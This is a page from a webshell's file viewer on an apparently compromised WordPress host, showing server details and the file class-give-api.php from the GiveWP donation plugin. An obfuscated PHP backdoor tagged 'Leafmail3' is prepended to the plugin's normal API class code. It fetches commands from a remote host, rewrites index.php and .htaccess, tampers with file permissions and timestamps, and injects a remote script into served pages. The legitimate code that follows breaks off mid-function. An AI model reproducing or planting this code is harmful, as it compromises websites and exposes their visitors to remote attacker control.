403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.144.104.136
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/cwd/plugins/give/includes/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/cwd/plugins/give/includes/api/class-give-api.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * Give API
 *
 * A front-facing JSON/XML API that makes it possible to query donation data.
 *
 * @package     Give
 * @subpackage  Classes/API
 * @copyright   Copyright (c) 2016, GiveWP
 * @license     https://opensource.org/licenses/gpl-license GNU Public License
 * @since       1.1
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Give_API Class
 *
 * Renders API returns as a JSON/XML array
 *
 * @since 1.1
 */
class Give_API {

	/**
	 * Latest API Version
	 */
	const VERSION = 1;

	/**
	 * Pretty Print?
	 *
	 * @var bool
	 * @access private
	 * @since  1.1
	 */
	private $pretty_print = false;

	/**
	 * Log API requests?
	 *
	 * @var bool
	 * @access public
	 * @since  1.1
	 */
	public $log_requests = true;

	/**
	 * Is this a valid request?
	 *
	 * @var bool
	 * @access private
	 * @since  1.1
	 */
	private $is_valid_request = false;

	/**
	 * User ID Performing the API Request
	 *
	 * @var int
	 * @access public
	 * @since  1.1
	 */
	public $user_id = 0;

	/**
	 * Instance of Give Stats class
	 *
	 * @var object
	 * @access private
	 * @since  1.1
	 */
	private $stats;

	/**
	 * Response data to return
	 *
	 * @var array
	 * @access private
	 * @since  1.1
	 */
	private $data = array();

	/**
	 * Whether or not to override api key validation.
	 *
	 * @var bool
	 * @access public
	 * @since  1.1
	 */
	public $override = true;

	/**
	 * Version of the API queried
	 *
	 * @var string
	 * @access public
	 * @since  1.1
	 */
	private $queried_version;

	/**
	 * All versions of the API
	 *
	 * @var array
	 * @access protected
	 * @since  1.1
	 */
	protected $versions = array();

	/**
	 * Queried endpoint
	 *
	 * @var string
	 * @access private
	 * @since  1.1
	 */
	private $endpoint;

	/**
	 * Endpoints routes
	 *
	 * @var object
	 * @access private
	 * @since  1.1
	 */
	private $routes;

	/**
	 * Setup the Give API
	 *
	 * @since  1.1
	 * @access public
	 */
	public function __construct() {

		$this->versions = array(
			'v1' => 'GIVE_API_V1',
		);

		foreach ( $this->get_versions() as $version => $class ) {
			require_once GIVE_PLUGIN_DIR . 'includes/api/class-give-api-' . $version . '.php';
		}

		add_action( 'init', array( $this, 'add_endpoint' ) );
		add_action( 'wp', array( $this, 'process_query' ), - 1 );
		add_filter( 'query_vars', array( $this, 'query_vars' ) );
		add_action( 'show_user_profile', array( $this, 'user_key_field' ) );
		add_action( 'edit_user_profile', array( $this, 'user_key_field' ) );
		add_action( 'personal_options_update', array( $this, 'generate_api_key' ) );
		add_action( 'edit_user_profile_update', array( $this, 'generate_api_key' ) );
		add_action( 'give_process_api_key', array( $this, 'process_api_key' ) );

		// Setup a backwards compatibility check for user API Keys
		add_filter( 'get_user_metadata', array( $this, 'api_key_backwards_compat' ), 10, 4 );

		// Determine if JSON_PRETTY_PRINT is available
		$this->pretty_print = defined( 'JSON_PRETTY_PRINT' ) ? JSON_PRETTY_PRINT : null;

		// Allow API request logging to be turned off
		$this->log_requests = apply_filters( 'give_api_log_requests', $this->log_requests );

		// Setup Give_Payment_Stats instance
		$this->stats = new Give_Payment_Stats();

	}

	/**
	 * There are certain responsibility of this function:
	 *  1. handle backward compatibility for deprecated functions
	 *
	 * @since 2.0
	 *
	 * @param $name
	 * @param $arguments
	 *
	 * @return mixed
	 */
	public function __call( $name, $arguments ) {
		$deprecated_function_arr = array(
			'get_customers',
		);

		if ( in_array( $name, $deprecated_function_arr, true ) ) {
			switch ( $name ) {
				case 'get_customers':
					$args = ! empty( $arguments[0] ) ? $arguments[0] : array();

					return $this->get_donors( $args );
			}
		}
	}

	/**
	 * Registers a new rewrite endpoint for accessing the API
	 *
	 * @access public
	 *
	 * @since  1.1
	 */
	public function add_endpoint() {
		add_rewrite_endpoint( 'give-api', EP_ALL );
	}

	/**
	 * Registers query vars for API access
	 *
	 * @access public
	 * @since  1.1
	 *
	 * @param array $vars Query vars
	 *
	 * @return string[] $vars New query vars
	 */
	public function query_vars( $vars ) {

		$vars[] = 'token';
		$vars[] = 'key';
		$vars[] = 'query';
		$vars[] = 'type';
		$vars[] = 'form';
		$vars[] = 'number';
		$vars[] = 'date';
		$vars[] = 'startdate';
		$vars[] = 'enddate';
		$vars[] = 'donor';
		$vars[] = 'format';
		$vars[] = 'id';
		$vars[] = 'purchasekey';
		$vars[] = 'email';

		return $vars;
	}

	/**
	 * Retrieve the API versions
	 *
	 * @access public
	 * @since  1.1
	 * @return array
	 */
	public function get_versions() {
		return $this->versions;
	}

	/**
	 * Retrieve the API version that was queried
	 *
	 * @access public
	 * @since  1.1
	 * @return string
	 */
	public function get_queried_version() {
		return $this->queried_version;
	}

	/**
	 * Retrieves the default version of the API to use
	 *
	 * @access public
	 * @since  1.1
	 * @return string
	 */
	public function get_default_version() {

		$version = get_option( 'give_default_api_version' );

		if ( defined( 'GIVE_API_VERSION' ) ) {
			$version = GIVE_API_VERSION;
		} elseif ( ! $version ) {
			$version = 'v1';
		}

		return $version;
	}

	/**
	 * Sets the version of the API that was queried.
	 *
	 * Falls back to the default version if no version is specified
	 *
	 * @access private
	 * @since  1.1
	 */
	private function set_queried_version() {

		global $wp_query;

		$version = $wp_query->query_vars['give-api'];

		if ( strpos( $version, '/' ) ) {

			$version = explode( '/', $version );
			$version = strtolower( $version[0] );

